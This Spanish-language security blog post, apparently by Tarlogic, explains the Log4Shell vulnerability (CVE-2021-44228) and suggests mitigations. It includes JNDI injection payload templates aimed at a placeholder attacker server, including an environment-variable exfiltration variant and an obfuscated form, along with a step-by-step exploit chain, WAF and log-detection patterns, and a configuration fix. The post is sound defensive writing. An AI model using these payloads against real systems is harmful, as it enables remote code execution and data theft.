Vulnerabilidad Log4Shell CVE-2021-44228, el nuevo ciberapocalipsis

La detección de la vulnerabilidad Log4Shell hace solo 4 días podría tener graves consecuencias habida cuenta de que el componente log4j está embebido en cientos de millones de aplicaciones y servidores

El pasado día 9 de diciembre del 2021 nos cogía a contrapie la primera prueba de concepto que demostraba el impacto real de la vulnerabilidad CVE-2021-44228, también llamada Log4Shell, en referencia a su componente vulnerable log4j, y que afecta a la seguridad de cientos de millones de aplicaciones y servidores en todo el mundo.

En estos momentos resulta complicado entender la magnitud de esta vulnerabilidad en el software, ya que log4j se encuentra embebido en un innumerable número de aplicaciones, y las vías de explotación no pueden más que crecer a medida en que pase el tiempo.

Cada vez que una aplicación con el módulo log4j vulnerable genera una traza de auditoría, por ejemplo cuando se guarda un log de la navegación de un usuario o de un intento de login, se ejecuta el código vulnerable de un impacto crítico 10 de 10 según el estandar CVSS.

A falta de saber si se consolidará una URL que centralice los productos vulnerables, los siguientes recursos parecen buenos puntos de partida para entender a que aplicaciones afecta la vulnerabilidad log4shell:

https://gist.github.com/noperator/d360de81c061bc9c628b12d3f0e1e479

https://github.com/YfryTchsGD/Log4jAttackSurface

Una nueva versión de Log4j, un gran desconocimiento

Por mucho que Apache se haya dado prisa en sacar la versión Log4j 2.15.0, la cual soluciona la vulnerabilidad Log4Shell, su aplicación dista mucho de ser inmediata sin correr el riesgo de afectación a la aplicación que la utilice. Y esto en el mejor de los casos en los que tengamos muy claro qué aplicaciones utilizan el componente vulnerable.

Como ya ha pasado con otras vulnerabilidades en el pasado, muchas aplicaciones y desarrollos a medida quedarán al margen por desconocimiento de los componentes que éstas utilizan.

Lo que sabemos a día de hoy no es mucho, pero podría marcar la diferencia entre estar razonablemente protegidos o no. Es por esta razón por la cual a continuación se enumera una serie de datos que podrían ayudar a la confección de una lista de Indicadores de Compromiso orientada a mitigar parcialmente los riesgos de Log4Shell en aquellas aplicaciones que no puedan ser actualizadas inmediatamente:

El vector de ataque es mediante JNDI (Java Naming and Directory Interface), el cual permite a los atacantes proporcionar una URL que defina tanto el protocolo como el recurso a consultar, tales como:

${jndi:ldap://<SERVER>/<resource>}

${jndi:dns://<SERVER>/<resource>}

${jndi:ldap://${env:<user>}.<SERVER>/<resource>}

De modo que si un atacante pudiese levantar su propio servidor, desde donde se recepcionan las llamadas anteriores, podría realizar ataques de JNDI.

La ruta de los exploits del CVE de Log4Shell

Y en efecto, este es el proceso que siguen los exploits de Log4j actualmente disponibles:

1. El servidor que aloja la aplicación vulnerable loggea información que contenga el payload malicioso, como por ejemplo: ${jndi:ldap://[server]/[payload]}, donde server es controlado por el atacante y payload contiene el comando que deseamos ejecutar.
2. La vulnerabilidad es triggeada y el servidor realiza una petición al servidor del atacante vía JNDI.
3. La respuesta del servidor del atacante contiene la ruta a una clase Java maliciosa (p.e. https://[server]/exploit.class), la cual se inyecta en el contexto de la aplicación vulnerable.
4. El payload inyectado permite al atacante la ejecución de código arbitrario.

Bajo este contexto, y siempre y cuando no se pueda actualizar una aplicación vulnerable inmediatamente, existe algo de margen de maniobra para poder defendernos del ataque tal y como se conoce en estos momentos. De entre las actividades que podrían llevarse a cabo se destacan las siguientes:

• Filtro a nivel de comunicaciones (p.e. en el WAF) con el objeto de detectar patrones tipo jndi:xxx, donde xxx es cualquiera de los protocolos que podrían apoyar la inyección: ldap, ldaps, rmi o dns. Posiblemente con el transcurso del tiempo pudieran aparecer nuevos protocolos. Se recomienda prestar especial interés en posibilidades de ofuscación, tales como:
  ${jndi:${lower:l}${lower:d}ap://<SERVER>/<payload>}
• Detección a través de los logs de las aplicaciones, con patrones tales como ‘\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+’
• Prevención de resolución del servidor malicioso, ejecutando la aplicación vulnerable con la propiedad log4j2.formatMsgNoLookups=true (p.e. java -Dlog4j2.formatMsgNoLookups=true -jar myvulenrableapp.jar) o con la variable de entorno LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Esta vulnerabilidad recuerda en gran medida a la famosa ShellShock. Y esto nos advierte de la complejidad que podría tener la detección de qué aplicaciones son vulnerables, y de qué forma (a la cual más creativa) podría ser explotada.

Para más información sobre la detección de esta u otras amenazas, no dudes en consultar nuestros servicios de Threat Hunting en nuestra web de BlackArrow.

Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com

En TarlogicTeo y en TarlogicMadrid.